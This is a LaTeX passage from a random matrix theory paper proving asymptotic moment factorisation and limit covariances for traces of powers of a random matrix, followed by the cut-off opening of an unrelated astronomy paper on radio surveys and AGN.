The first consequence of \eqref{120003031544} is that the sum is in fact over $\OO{N^{n+1}}$ terms which are all at most $\OO{N^{-n-1}}$, so that any sub-summation over $\oo{N^{n+1}}$ terms might be neglected. As previously, we shall sum over the pairwise distinct indices $\operatorname{I}^{\neq}_{n+1}$ (see notation \eqref{notationpairewisedistinct}). Hence \eqref{121203031544} becomes
\begin{eqnarray*}
N^{-1} \mathbb{E}\, \operatorname{Tr} \mathbf{A}^n (\mathbf{A}^*)^n & = & N^{-1} \!\!\!\!\!\!\!\!\!\!\sum_{(i_0,i_1,\ldots,i_n)\in\operatorname{I}^{\neq}_{n+1}}\!\!\!\!\!\!\!\!\!\!s_{i_1}^2\cdots s_{i_{n}}^2 \sum_{\substack{\sigma \in S_{n+1} \\ \sigma(0)=0 \\ \sigma(n)=n}} \Ec{u_{i_0 i_1} \cdots u_{i_{n-1} i_{n}} \overline{u_{i_{\sigma(0)} i_{\sigma(1)}}} \cdots \overline{u_{i_{\sigma(n-1)} i_{\sigma(n)}}}}
\end{eqnarray*}
Let $c \in S_{n+1}$ be the cycle $(0\; 1 \; 2 \; \cdots n)$. From \eqref{wg1} (see Remark \ref{alldistinct}) one can write
$$
\Ec{u_{i_0 i_1} \cdots u_{i_{n-1} i_{n}} \overline{u_{i_{\sigma(0)} i_{\sigma(1)}}} \cdots \overline{u_{i_{\sigma(n-1)} i_{\sigma(n)}}}} \ = \ \operatorname{Wg}\big( \sigma c^{-1} \sigma^{-1} c \big).
$$
As previously, $\sigma$ must be a power of $c$ for the asymptotic contribution to be non-negligible. However, this time, we impose $\sigma(0)=0$ and $\sigma(n)=n$, so that the only possible choice is $\sigma = id$ which means that only one term contributes this time. At last,
\begin{eqnarray*}
\frac{1} N \mathbb{E}\, \operatorname{Tr} \mathbf{A}^n (\mathbf{A}^*)^n & = & b^{2n} + \oo1,
\end{eqnarray*}
The same way, one can get
\begin{eqnarray*}
\frac{1} N \mathbb{E}\, \operatorname{Tr} \mathbf{A}^{-n} (\mathbf{A}^*)^{-n} & = & a^{-2n} + \oo1.
\end{eqnarray*}
This concludes the first step of the induction.
In the second step, we have to prove the following induction relation: for any $p \geq 2$,
\begin{eqnarray}\label{313151}
\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2p} & = & p\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2} \mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2(p-1)} +\oo1 \\ \label{313152}
\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big|^{2p} & = & p\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big|^{2} \mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big|^{2(p-1)} + \oo1 \\ \nonumber
\mathbb{E}\, ( \operatorname{Tr} \mathbf{A}^n \mathbf{M} \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} )^p & = & p\Ec{ \operatorname{Tr} \mathbf{A}^n \mathbf{M} \ \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} } \mathbb{E}\,\big[\big( \operatorname{Tr} \mathbf{A}^n \mathbf{M} \ \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big)^{p-1}\big]\\ &&\qquad \qquad\qquad\qquad\qquad\qquad\qquad\qquad\qquad\qquad + \oo1\label{313153}
\end{eqnarray}
Let us first consider $\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2p}$. We shall use the following notation
\begin{eqnarray*}
\operatorname{Tr} \mathbf{A}^n \mathbf{M} & = & \sum_{i_0,i_1,\ldots,i_n} u_{i_0 i_1}s_{i_1} \cdots u_{i_{n-1} i_n} s_{i_n} M_{i_n i_0} \ =: \ \sum_{\mathbf{i}} u_{\mathbf{i}}s_{\mathbf{i}}M_{i_{n} i_0}\, ,
\end{eqnarray*}
where the bold letter $\mathbf{i}$ denotes the $(n+1)$-tuple $(i_0,\ldots,i_n)$ and where we set \begin{equation}\label{eq:notation31315}u_{\mathbf{i}} := u_{i_0 i_1}\cdots u_{i_{n-1} i_n}\qquad ;\qquad s_{\mathbf{i}} := s_{i_1}\cdots s_{i_n}\,.\end{equation}
Hence,
\begin{eqnarray} \label{11591200207003}
\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2p} \!\!\!\! & = & \!\!\!\!\!\!\sum_{\substack{\mathbf{i}^1,\ldots,\mathbf{i}^p\\ \mathbf{j}^1,\ldots,\mathbf{j}^p}} \!\!\! \Ec{u_{\mathbf{i}^1}\cdots u_{\mathbf{i}^p} \overline{u_{\mathbf{j}^1}}\cdots \overline{u_{\mathbf{j}^p}}} s_{\mathbf{i}^1}M_{i^1_n i^1_0}s_{\mathbf{j}^1}\overline{M_{j^1_n j^1_0}}\cdots s_{\mathbf{i}^p}M_{i^p_n i^p_0}s_{\mathbf{j}^p}\overline{M_{j^p_n j^p_0}}
\end{eqnarray}
As usual, we know we can sum over the $\mathbf{i}^k$'s satisfying that $(\mathbf{i}^1,\ldots,\mathbf{i}^p)$ (the $p(n+1)$-tuple obtained by concatenation of the $\mathbf{i}$'s) has pairwise distinct entries and such that we have the set equality:
\begin{eqnarray}
\rset{i^{\lambda}_{\mu}, \ 1 \leq \lambda \leq p,\ 0 \leq \mu \leq n}
& =& \ \rset{j^{\lambda}_{\mu}, \ 1 \leq \lambda \leq p,\ 0 \leq \mu \leq n}.
\end{eqnarray}
Then, in order to have $\operatorname{Wg}(id)$, we must match each of the $(n+1)$-tuples $\mathbf{i}^1,\ldots,\mathbf{i}^p$ with one of the $(n+1)$-tuples $\mathbf{j}^1,\ldots,\mathbf{j}^p$, \emph{i.e. } that for all $1 \leq \lambda \leq p$, there is a $1 \leq \lambda' \leq p$ such that we have the set equality
$$
\{\mathbf{i}^\lambda\} \ =: \ \rset{i^{\lambda}_{0},i^{\lambda}_{1},\ldots,i^{\lambda}_{n}} \ = \ \rset{j^{\lambda'}_0,j^{\lambda'}_1,\ldots,j^{\lambda'}_n} \ := \ \{\mathbf{j}^{\lambda'}\}.
$$
We rewrite \eqref{11591200207003} by summing according the possible choice to match $\{\mathbf{i}^1\} = \rset{i^{1}_0,i^{1}_1,\ldots,i^{1}_n}$
\begin{eqnarray*}
\mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2p} & = & \sum_{\lambda=1}^p \sum_{\substack{\displaystyle^{(\mathbf{i}^1,\ldots,\mathbf{i}^p)\in \operatorname{I}^{\neq}_{p(n+1)}}_{(\mathbf{j}^1,\ldots,\mathbf{j}^p)\in\operatorname{I}^{\neq}_{p(n+1)}} \\ \mathbf{i}^1 \leftrightarrow \mathbf{j}^{\lambda}}} \!\!\!\!\!\!\!\!\! \Ec{u_{\mathbf{i}^1}\cdots u_{\mathbf{i}^p} \overline{u_{\mathbf{j}^1}}\cdots \overline{u_{\mathbf{j}^p}}} s_{\mathbf{i}^1}M_{i^1_n i^1_0}s_{\mathbf{j}^1}\overline{M_{j^1_n j^1_0}}\cdots s_{\mathbf{i}^p}M_{i^p_n i^p_0}s_{\mathbf{j}^p}\overline{M_{j^p_n j^p_0}}+\oo1,
\end{eqnarray*}
where $\mathbf{i}^1 \leftrightarrow \mathbf{j}^\lambda$ stands for the set equality
$
\displaystyle \rset{i^{1}_0,i^{1}_1,\ldots,i^{1}_n}=\rset{j^{\lambda}_0,j^{\lambda}_1,\ldots,j^{\lambda}_n}
$. Then, we know that the set of indices $\rset{i^{1}_0,i^{1}_1,\ldots,i^{1}_n}$ is disjoint from the others, so that by Corollary \ref{lemsauveur15460502},
$$
\Ec{u_{\mathbf{i}^1}\cdots u_{\mathbf{i}^p} \overline{u_{\mathbf{j}^1}}\cdots \overline{u_{\mathbf{j}^p}}} \ = \ \Ec{u_{\mathbf{i}^1}\overline{u_{\mathbf{j}^{\lambda}}}}\Ec{{u_{\mathbf{i}^2}\cdots u_{\mathbf{i}^p} \overline{u_{\mathbf{j}^1}}\cdots\overline{u_{\mathbf{j}^{\lambda-1}}}\overline{u_{\mathbf{j}^{\lambda+1}}}\cdots \overline{u_{\mathbf{j}^p}}}}
$$
and up to a proper relabeling of the indices, all the choices lead to the same value of the expectation, so that
\begin{eqnarray*}
&& \mathbb{E}\, \big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2p} \\
&&\hspace{-15mm} \ = \ p\sum_{\substack{\mathbf{i}^1 \in \operatorname{I}^{\neq}_{n+1} \\ \mathbf{j}^1 \in \operatorname{I}^{\neq}_{n+1}}}\!\!\! \Ec{u_{\mathbf{i}^1}\overline{u_{\mathbf{j}^1}}}s_{\mathbf{i}^1}M_{i^1_n,i^1_0}s_{\mathbf{j}^1}\overline{M_{j^1_n,j^1_0}}\!\!\!\!\!\!\!\!\!\sum_{\substack{(\mathbf{i}^2,\ldots,\mathbf{i}^p)\in\operatorname{I}^{\neq}_{(p-1)(n+1)} \\ (\mathbf{j}^2,\ldots,\mathbf{j}^p)\in\operatorname{I}^{\neq}_{(p-1)(n+1)}}}\!\!\!\!\!\!\!\!\! \!\!\!\!\!\!\Ec{u_{\mathbf{i}^2}\cdots \overline{u_{\mathbf{j}^p}}} s_{\mathbf{i}^2}M_{i^2_n i^2_0}s_{\mathbf{j}^2}\overline{M_{j^2_n j^2_0}}\cdots s_{\mathbf{i}^p}M_{i^p_n i^p_0}s_{\mathbf{j}^p}\overline{M_{j^p_n j^p_0}}+\oo1 \\
&&\hspace{-15mm} \ = \ p\Ec{\big| \operatorname{Tr}(\mathbf{A}^n \mathbf{M})\big|^{2}} \Ec{\big| \operatorname{Tr}(\mathbf{A}^n \mathbf{M})\big|^{2(p-1)}} +\oo1.
\end{eqnarray*}
This proves \eqref{313151}. In the same way, we prove \eqref{313152} and \eqref{313153}, and thus conclude the proof of the induction. \\
\begin{rmk}
In the last computation, we split the expectation and so we separated the summation implying that
$$
\operatorname{I}^{\neq}_{p(n+1)} \ = \ \operatorname{I}^{\neq}_{n+1} \times \operatorname{I}^{\neq}_{(p-1)(n+1)}
$$
which is obviously inaccurate. Nevertheless, we easily see that
$$
\operatorname{Card} \operatorname{I}^{\neq}_{p(n+1)} \ = \ \operatorname{Card} \left(\operatorname{I}^{\neq}_{n+1} \times \operatorname{I}^{\neq}_{(p-1)(n+1)}\right) \big( 1 + \oo1\big),
$$
which means that this inaccuracy is actually contained in the $\oo1$.
\end{rmk}
To conclude the proof of {\bf b)}, we have to prove that $ \operatorname{Tr} \mathbf{A}^n \mathbf{M} $ and $ \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} $ satisfy Condition \eqref{2-112009} at the large $N$ limit.
\subsubsection{$ \operatorname{Tr} \mathbf{A}^n \mathbf{M} $ and $ \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} $ satisfy Condition \eqref{2-112009} at the large $N$ limit}
We apply the same idea as previously, but for a slightly more complicated expectation. Let $p,q,r,s$ be positive integers and such that $p-q=r-s$. We denote joint moments by $m_{p,q,r,s}$:
\begin{eqnarray}\label{1211020420158741}
m_{p,q,r,s} & := & \mathbb{E}\, \big( \operatorname{Tr}\mathbf{A}^n \mathbf{M} \big)^p \overline{\big( \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big)}^q \big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big)^r \overline{\big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} \big)}^s ,
\end{eqnarray}
and as
\begin{eqnarray*}
\operatorname{Tr} \mathbf{A}^n \mathbf{M} & = & \sum_{i_0,i_1,\ldots,i_n} u_{i_0 i_1}s_{i_1} \cdots u_{i_{n-1} i_n} s_{i_n} M_{i_n i_0} \ = \ \sum_{\mathbf{i}} u_{\mathbf{i}}s_{\mathbf{i}}M_{i_{n} i_0} \\
\operatorname{Tr} \mathbf{A}^{-n} \mathbf{K} & = & \sum_{i_n,i_{n-1},\ldots,i_0} \overline{u}_{i_{n-1} i_{n}}s^{-1}_{i_n} \cdots \overline{u}_{i_{0} i_1} s_{i_1} K_{i_0 i_n} \ = \ \sum_{\mathbf{i}} \overline{u}_{\mathbf{i}}s^{-1}_{\mathbf{i}}K_{i_{0} i_n} ,
\end{eqnarray*}
we rewrite \eqref{1211020420158741} as follow
\begin{eqnarray}\label{93100201503274bis}
\mathbb{E}\, \sum_{\substack{\mathbf{i}^1,\ldots,\mathbf{i}^{p} \\ \mathbf{j}^1,\ldots,\mathbf{j}^{q} \\ \mathbf{k}^1,\ldots,\mathbf{k}^{r} \\ \mathbf{l}^1,\ldots,\mathbf{l}^{s} }} \prod_{\substack{1 \leq \lambda \leq p \\ 1 \leq \mu \leq q \\ 1 \leq \nu \leq r \\ 1 \leq \theta \leq s}} \frac{s_{\mathbf{i}^{\lambda} }s_{\mathbf{j}^{\mu}}}{s_{\mathbf{k}^{\nu}} s_{\mathbf{l}^\theta}} M_{i^\lambda_n,i^\lambda_0} \overline{M}_{j^\mu_n,j^\mu_0} K_{k^\nu_0,k^\mu_n}\overline{K}_{\ell^\theta_0,\ell^\theta_n} u_{\mathbf{i}^{\lambda}} u_{\mathbf{l}^\theta} \overline{u_{\mathbf{j}^{\mu}}} \overline{u_{\mathbf{k}^{\nu}}}
\end{eqnarray}
(recall that the $s_{\mathbf{i}}=s_{i_1}\cdots s_{i_n}$ for $\mathbf{i}=(i_0, \ldots, i_n)$).
As previously, we deduce from Proposition \ref{wg} that for the non vanishing expectations, we must have the following multiset equality
\begin{eqnarray}\label{0204200151111}
&&\mset{i^{\lambda}_\mu, \ 1 \leq \lambda \leq p, 0 \leq \mu \leq n}\mbox{\mtsmall{$\bigcup$}}\mset{\ell^{\lambda}_\mu, \ 1 \leq \lambda \leq s, 0 \leq \mu \leq n} \nonumber \\ & =& \ \mset{j^{\lambda}_\mu, \ 1 \leq \lambda \leq q, 0 \leq \mu \leq n}\mbox{\mtsmall{$\bigcup$}}\mset{k^{\lambda}_\mu, \ 1 \leq \lambda \leq r, 0 \leq \mu \leq n},
\end{eqnarray}
from which we deduce that we can restrict the summation to the tuples such that $$(\mathbf{i}^1,\ldots,\mathbf{i}^p,\mathbf{l}^1,\ldots\mathbf{l}^s)\in \operatorname{I}^{\neq}_{(p+s)(n+1)}$$ and that, for the non negligible terms (\emph{i.e. } those which lead to $\operatorname{Wg}(id)$), we must match each of the $(n+1)$-tuples involved in $u$ (the $\mathbf{i}$'s and the $\mathbf{l}$'s) with one of those involved in $\overline u$ (the $\mathbf{j}$'s and the $\mathbf{k}$'s). For example, we sum according to the choice the ``partner'' of $\mathbf{i}^1$.
\begin{eqnarray*}
m_{p,q,r,s}
&=& \sum_{\alpha=1}^q \mathbb{E}\, \sum_{\substack{(\mathbf{i},\mathbf{l})\in\operatorname{I}^{\neq} \\ (\mathbf{j},\mathbf{k}) \in \operatorname{I}^{\neq} \\ \mathbf{i}^1 \leftrightarrow \mathbf{j}^\alpha}} \prod_{\substack{1 \leq \lambda \leq p \\ 1 \leq \mu \leq q \\ 1 \leq \nu \leq r \\ 1 \leq \theta \leq s}} \frac{s_{\mathbf{i}^{\lambda} }s_{\mathbf{j}^{\mu}}}{s_{\mathbf{k}^{\nu}} s_{\mathbf{l}^\theta}} M_{i^\lambda_n,i^\lambda_0} \overline{M}_{j^\mu_n,j^\mu_0} K_{k^\nu_0,k^\mu_n}\overline{K}_{\ell^\theta_0,\ell^\theta_n} u_{\mathbf{i}^{\lambda}} u_{\mathbf{l}^\theta} \overline{u_{\mathbf{j}^{\mu}}} \overline{u_{\mathbf{k}^{\nu}}} \\
&+& \sum_{\beta=1}^r \mathbb{E}\, \sum_{\substack{(\mathbf{i},\mathbf{l})\in\operatorname{I}^{\neq} \\ (\mathbf{j},\mathbf{k}) \in \operatorname{I}^{\neq} \\ \mathbf{i}^1 \leftrightarrow \mathbf{k}^\beta}} \prod_{\displaystyle^{\displaystyle^{1 \leq \lambda \leq p}_{1 \leq \mu \leq q}}_{\displaystyle^{1 \leq \nu \leq r}_{1 \leq \theta \leq s}}} \frac{s_{\mathbf{i}^{\lambda} }s_{\mathbf{j}^{\mu}}}{s_{\mathbf{k}^{\nu}} s_{\mathbf{l}^\theta}} M_{i^\lambda_n,i^\lambda_0} \overline{M}_{j^\mu_n,j^\mu_0} K_{k^\nu_0,k^\mu_n}\overline{K}_{\ell^\theta_0,\ell^\theta_n} u_{\mathbf{i}^{\lambda}} u_{\mathbf{l}^\theta} \overline{u_{\mathbf{j}^{\mu}}} \overline{u_{\mathbf{k}^{\nu}}} + \oo1 .\\
\end{eqnarray*}
where, to simplify, $(\mathbf{i},\mathbf{l})$ stands for the $(p+s)(n+1)$-tuple obtained by the concatenation of the $\mathbf{i}^\lambda$'s and the $\mathbf{l}^\mu$'s, and $\operatorname{I}^{\neq}$ implicitly means $\operatorname{I}^{\neq}_{(p+s)(n+1)}$.
As previously, we use the Corollary \ref{lemsauveur15460502} to split the expectations. Hence, one easily gets
\begin{eqnarray*}
m_{p,q,r,s} & = & q \Ec{\big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^{2}}m_{p-1,q-1,r,s} + r \Ec{ \operatorname{Tr} \mathbf{A}^n \mathbf{M} \operatorname{Tr} \mathbf{A}^{-n}\mathbf{K} } m_{p-1,q,r-1,s}+\oo1.
\end{eqnarray*}
To get the other relations, we just sum according to the choice of the partner of $\mathbf{j}^1$ (resp. $\mathbf{k}^1$ and $\mathbf{l}^1$).
\subsection{Proof of a): asymptotic factorisation of joint moments}
The proof relies mostly on Corollary \ref{lemsauveur15460502}. We first expand the expectation
\begin{eqnarray}
\mathbb{E}\,\Big[\prod_{1 \leq n \leq n_0} \big( \operatorname{Tr} \mathbf{A}^{n}\mathbf{N}_n \big)^{p_{n}}\overline{\big( \operatorname{Tr} \mathbf{A}^{n}\mathbf{N}_n \big)^{q_{n}}} \big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{N}_{-n} \big)^{r_{n}}\overline{\big( \operatorname{Tr} \mathbf{A}^{-n}\mathbf{N}_{-n} \big)^{s_{n}}}\Big] .
\end{eqnarray}
Let $M^{(n)}_{ij}$ denote the $(i,j)$-th entry of $\mathbf{N}_n$ and recall that for $\mathbf{i} = (i_0,\ldots,i_n)$, we set \begin{eqnarray*}
u_{\mathbf{i}} := u_{i_0 i_1}\cdots u_{i_{n-1} i_n}\qquad ;\qquad s_{\mathbf{i}} := s_{i_1}\cdots s_{i_n}\,.\end{eqnarray*}
We get
\begin{eqnarray*}
\operatorname{Tr} \mathbf{A}^n \mathbf{N}_n & = & \sum_{i_0,i_1,\ldots,i_n} u_{i_0 i_1}s_{i_1} \cdots u_{i_{n-1} i_n} s_{i_n} M_{i_n i_0}^{(n)} \ = \ \sum_{\mathbf{i}} u_{\mathbf{i}}s_{\mathbf{i}}M_{i_{n} i_0}^{(n)} \\
\operatorname{Tr} \mathbf{A}^{-n} \mathbf{N}_{-n} & = & \sum_{i_n,i_{n-1},\ldots,i_0} \overline{u}_{i_{n_1} i_{n}}s^{-1}_{i_n} \cdots \overline{u}_{i_{0} i_1} s_{i_1} M^{(-n)}_{i_0 i_n} \ = \ \sum_{\mathbf{i}} \overline{u}_{\mathbf{i}}s^{-1}_{\mathbf{i}}M_{i_{0} i_n}^{(-n)} ,
\end{eqnarray*}
so that
\begin{eqnarray}\label{93100201503274}
\mathbb{E}\, \prod_{1 \leq n \leq n_0} \sum_{\substack{\mathbf{i}^{n,1},\ldots,\mathbf{i}^{n,p_{n}} \\ \mathbf{j}^{n,1},\ldots,\mathbf{j}^{n,q_{n}} \\ \mathbf{k}^{n,1},\ldots,\mathbf{k}^{n,r_{n}} \\ \mathbf{l}^{n,1},\ldots,\mathbf{l}^{n,s_{n}}} } \prod_{\substack{1 \leq \lambda \leq p_{n} \\ 1 \leq \mu \leq q_{n} \\ 1 \leq \nu \leq r_{n} \\ 1 \leq \theta \leq s_{n}}} \frac{s_{\mathbf{i}^{n,\lambda} }s_{\mathbf{j}^{n,\mu}}}{s_{\mathbf{k}^{n,\nu}} s_{\mathbf{l}^{n,\theta}}} M^{(n)}_{i^{n,\lambda}_n i^{n,\lambda}_0} \overline{M}^{(n)}_{j^{n,\mu}_n j^{n,\mu}_0} M^{(-n)}_{k^{n,\nu}_0 k^{n,\mu}_n}\overline{M}^{(-n)}_{\ell^{n,\theta}_0 \ell^{n,\theta}_n} u_{\mathbf{i}^{n,\lambda}} u_{\mathbf{l}^{n,\theta}} \overline{u_{\mathbf{j}^{n,\mu}}} \overline{u_{\mathbf{k}^{n,\nu}}}
\end{eqnarray}
where we use bold letters such as $\mathbf{i}^{n,\lambda}$ to denote $(n+1)$-tuples $ (i^{n,\lambda}_0,i^{n,\lambda}_1,\ldots,i^{n,\lambda}_n)$. We can use the same ideas as in \cite[Lemma 5.8]{FloJean} to state that the non-negligible terms of the sum must satisfy that for all $n$, there are as much $(n+1)$-tuples involved in $u$ as in $\overline{u}$, which means that
$$
p_{n} + s_{n} \ = \ q_{n}+r_{n},
$$
and that we must have the multiset equalities
\begin{eqnarray}\label{0094327035102}
&&\bigcup_{n=1}^{n_0}\mset{i^{n,\lambda}_\mu, \ 1 \leq \lambda \leq p_n, 0 \leq \mu \leq n}\mbox{\mtsmall{$\bigcup$}}\mset{\ell^{n,\lambda}_\mu, \ 1 \leq \lambda \leq s_n, 0 \leq \mu \leq n} \nonumber \\ & =& \ \bigcup_{n=1}^{n_0} \mset{j^{n,\lambda}_\mu, \ 1 \leq \lambda \leq q_n, 0 \leq \mu \leq n}\mbox{\mtsmall{$\bigcup$}}\mset{k^{n,\lambda}_\mu, \ 1 \leq \lambda \leq r_n, 0 \leq \mu \leq n}.
\end{eqnarray}
We deduce that there are a $\OO{N^{\sum_n n( p_n+s_n)}}$ non zero terms in \eqref{93100201503274} and we can easily show that any subsum over a $\oo{N^{\sum_n n( p_n+s_n)}}$ is negligible so that for now on we shall sum over the non pairwise indices. Then, we know that we can neglect any expectation $\mathbb{E}\,_\mathbf{U}$ which won't lead to $\operatorname{Wg}(id)$ (see \eqref{wg2}) so that \eqref{0094327035102} becomes
\begin{eqnarray*}
\forall 1 \leq n \leq n_0, & & \rset{i^{n,\lambda}_\mu, \ 1 \leq \lambda \leq p_n, 0 \leq \mu \leq n}\mbox{\mtsmall{$\bigcup$}}\rset{\ell^{n,\lambda}_\mu, \ 1 \leq \lambda \leq s_n, 0 \leq \mu \leq n} \\
& =& \ \rset{j^{n,\lambda}_\mu, \ 1 \leq \lambda \leq q_n, 0 \leq \mu \leq n}\mbox{\mtsmall{$\bigcup$}}\rset{k^{n,\lambda}_\mu, \ 1 \leq \lambda \leq r_n, 0 \leq \mu \leq n}.
\end{eqnarray*}
It follows that the set of indices involved in the expansion of the $ \operatorname{Tr} \mathbf{A}^n \mathbf{N}_n $, $ \operatorname{Tr} \mathbf{A}^{-n} \mathbf{N}_{-n} $, $\overline{ \operatorname{Tr} \mathbf{A}^n \mathbf{N}_n }$, $\overline{ \operatorname{Tr} \mathbf{A}^{-n} \mathbf{N}_{-n} }$, is disjoint from the set of indices involved in the expansion of the $ \operatorname{Tr} \mathbf{A}^m \mathbf{N}_m $, $ \operatorname{Tr} \mathbf{A}^{-m} \mathbf{N}_{-m} $, $\overline{ \operatorname{Tr} \mathbf{A}^m \mathbf{N}_m }$, $\overline{ \operatorname{Tr} \mathbf{A}^{-m} \mathbf{N}_{-m} }$, as long as $n\neq m$. Therefore, Corollary \ref{lemsauveur15460502} allows to conclude the proof of {\bf a)}.
\subsection{Proof of c): computation of the limit covariance}
Let $f,g$ be polynomials in $z$ and $z^{-1}$ and let $\mathbf{M},\mathbf{N}$ be $N\times N$ deterministic matrices
such that, as $N\to\infty$,
$$
\frac{1} N \operatorname{Tr} \mathbf{M} \ \longrightarrow \ \tau \quad ;\quad \frac{1} N \operatorname{Tr} \mathbf{N} \ \longrightarrow \ \tau'
\quad ;\quad \frac{1} N \operatorname{Tr} \mathbf{M}\mathbf{N}^* \ \longrightarrow \ \alpha \quad ;\quad\frac{1} N \operatorname{Tr} \mathbf{M}\mathbf{N} \ \longrightarrow \ \beta.
$$
We need to check that the limits of both sequences $$\mathbb{E}\, ( \operatorname{Tr} f(\mathbf{A})\mathbf{M} - a_0(f) \operatorname{Tr}\mathbf{M}) (\overline{ \operatorname{Tr} g(\mathbf{A})\mathbf{N} - a_0(g) \operatorname{Tr}\mathbf{N}})$$ and $$\mathbb{E}\, ( \operatorname{Tr} f(\mathbf{A})\mathbf{M} - a_0(f) \operatorname{Tr}\mathbf{M}) ( \operatorname{Tr} g(\mathbf{A})\mathbf{N} - a_0(g) \operatorname{Tr}\mathbf{N})$$ are the ones given in the statement of Theorem \ref{theoremgen}. Note that it suffices to compute the limits for $f=g$ and $\mathbf{M}=\mathbf{N}$. Indeed, using the classical polarization identities for $\mathbf{M}$ and $\mathbf{N}$, first for general polynomials $f,g$, we reduce the problem to the case $\mathbf{M}=\mathbf{N}$. Then, we use polarization identities again to reduce the problem to $f=g$.
Also, recall that since $\mathbf{A} \eloi e^{i\theta}\mathbf{A}$ for any deterministic $\theta$, we know that for any positive distinct integers $p,q$, we have
\begin{eqnarray*}
\mathbb{E}\, \operatorname{Tr} \mathbf{A}^p\mathbf{M} \operatorname{Tr}\mathbf{A}^{-q}\mathbf{M} \ = \ \mathbb{E}\, \operatorname{Tr} \mathbf{A}^p\mathbf{M} \overline{ \operatorname{Tr} \mathbf{A}^q \mathbf{M} } \ = \ 0.
\end{eqnarray*}
It follows, using \eqref{124151}, \eqref{124152} and \eqref{124153}, that
\begin{eqnarray*}
\mathbb{E}\, \left| \operatorname{Tr} f(\mathbf{A})\mathbf{M} - a_0(f) \operatorname{Tr}\mathbf{M} \right|^2 & = & \sum_{\underset{\neq 0}{m,n \in \mathbb{Z}}} a_m(f)\overline{a_n(f)} \mathbb{E}\, \operatorname{Tr} \mathbf{A}^m \mathbf{M} \overline{ \operatorname{Tr} \mathbf{A}^n \mathbf{M} } \\
& = & \sum_{n \geq 1} \Big(|a_n(f)|^2 \mathbb{E}\,\big| \operatorname{Tr} \mathbf{A}^n \mathbf{M} \big|^2 + |a_{-n}(f)|^2 \mathbb{E}\,\big| \operatorname{Tr} \mathbf{A}^{-n} \mathbf{M} \big|^2\Big)\\
& \tto & \sum_{n \geq 1} \big(|a_n(f)|^2 b^{2n} + |a_{-n}(f)|^2 a^{-2n}\big)\big((n-1)|\tau|^2+\alpha\big),\\
\mathbb{E}\, \left( \operatorname{Tr} f(\mathbf{A})\mathbf{M} - a_0(f) \operatorname{Tr}\mathbf{M}\right)^2 & = & \sum_{\underset{\neq 0}{m,n \in \mathbb{Z}}} a_m(f){a_n(f)} \mathbb{E}\, \operatorname{Tr} \mathbf{A}^m \mathbf{M} \operatorname{Tr} \mathbf{A}^n \mathbf{M} \\
& = & \sum_{n \geq 1}2a_n(f)a_{-n}(f)\mathbb{E}\, \operatorname{Tr}\mathbf{A}^n \mathbf{M} \operatorname{Tr} \mathbf{A}^{-n}\mathbf{M} \\
& \tto & 2 \sum_{n \geq 1} a_n(f) a_{-n}(f)\big( (n-1)\tau^2 + \beta \big),
\end{eqnarray*}
which concludes the proof.
\section{Proof of Corollary \ref{carpol174151}} It is easy to see that, for any $z\notin S$, we have $$\log|\det(z-\mathbf{A})|=\begin{cases} \displaystyle\operatorname{Tr}\log\mathbf{T}+\real\mathcal {A}^N_z, & \textrm{ with }\mathcal {A}^N_z:=\operatorname{Tr}\sum_{n\le -1}\frac{\mathbf{A}^{n}}{nz^n}\textrm{ if $|z|<a$.}\\\displaystyle N\log|z|+\real\mathcal {B}^N_z, & \textrm{ with }\mathcal {B}^N_z:=-\operatorname{Tr}\sum_{n\ge 1}\frac{\mathbf{A}^n}{nz^n}\textrm{ if $|z|>b$,}
\end{cases}$$
(in the first case, we used the fact that $|\det \mathbf{A}|=\det\mathbf{T}$).
Then, by Theorem \ref{theoremgen}, $$\left(\mathcal {A}^N_z\right)_{|z|<a}\,\cup\, \left(\mathcal {B}^N_z\right)_{|z|>b}$$ converges, for the finite-dimensional distributions, to a centered complex Gaussian process $$\left(\mathcal {A}_z\right)_{|z|<a}\,\cup\, \left(\mathcal {B}_z\right)_{|z|>b}$$ with covariance defined by $$\mathbb{E}\, \mathcal {A}_z\mathcal {A}_{z'}=0,\quad \mathbb{E}\, \mathcal {A}_z\overline{\mathcal {A}_{z'}}=-\log(1-\frac{z\overline{z'}}{a^2}),$$
$$\mathbb{E}\, \mathcal {B}_z\mathcal {B}_{z'}=0,\quad \mathbb{E}\, \mathcal {B}_z\overline{\mathcal {B}_{z'}}=-\log(1-\frac{b^2}{z\overline{z'}}),$$
$$\mathbb{E}\, \mathcal {A}_z\mathcal {B}_{z'} =-\log(1-\frac{z'}{z}),\quad \mathbb{E}\, \mathcal {A}_z\overline{\mathcal {B}_{z'}}=0,$$ where $\log$ denotes the canonical complex $\log$ on $B(1,1)$.
Then, one concludes by noting that for $A,B\in \mathbb{C}$, $2\real A\real B=\real(AB+A\overline{B})$.
|
1,477,468,750,060 | arxiv |
\section{Introduction}
The last decade has seen an accelerating trend towards astronomy
dominated by large surveys, in particular to study star formation and
accretion onto massive black holes on a cosmological scale. Sensitive
surveys, targeting large numbers of objects, are an indispensable
ingredient for this work. Radio surveys are an essential component of
these multi--wavelength studies due to their insensitivity to dust obscuration, and
because of their ability to detect non-thermal radiation from Active
Galactic Nuclei (AGN).
Identifying AGN is crucial for understanding galaxy evolution, since
their energetic feedback is increasingly understood to have a decisive
impact on star formation in their host galaxies, in particular when
they are radio emitters. Even if their activity cycles are
